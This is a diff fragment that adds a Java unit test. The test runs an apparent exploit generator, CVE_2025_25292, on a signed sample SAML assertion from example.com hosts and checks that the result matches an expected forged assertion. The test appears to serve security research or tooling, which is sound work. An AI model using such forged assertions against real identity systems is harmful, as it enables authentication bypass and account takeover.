+ "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" +
+ " \n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " 2jmj7l5rSw0yVb/vlWAYkK/YBwk=LfSKTTLlNsRNi0c+XJUrUH1rrVcLFR/IZOeyTWU3rGe3a2c++dLyNMV00oClk9lcPk+/P6qOtpaZFkFDQTHAYP0yEroInIBx24g5jBxLib8SAFZaH5tQHw8LzCVSksPJpCVBXHC9wOvnD1ui4GfxFkjbuxtUcylBA63F1jAA1FI=\n" +
+ "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" +
+ " \n" +
+ " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://sp.example.com/demo1/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " test\n" +
+ " \n" +
+ " \n" +
+ " test@example.com\n" +
+ " \n" +
+ " \n" +
+ " users\n" +
+ " examplerole1\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ "";
+
+ var exploit = CVE_2025_25292.apply(originalAssertion);
+ exploit = Arrays.stream(exploit.split("\n"))
+ .map(line -> line
+ .replaceAll("IssueInstant=\"[^\"]+\"", "IssueInstant=\"TIME\"")
+ .replaceAll("NotBefore=\"[^\"]+\"", "NotBefore=\"TIME\"")
+ .replaceAll("NotOnOrAfter=\"[^\"]+\"", "NotOnOrAfter=\"TIME\"")
+ .replaceAll("SessionNotOnOrAfter=\"[^\"]+\"", "SessionNotOnOrAfter=\"TIME\"")
+ )
+ .collect(Collectors.joining("\n"));
+ assertEquals(exploitAssertion, exploit);
+ }
+}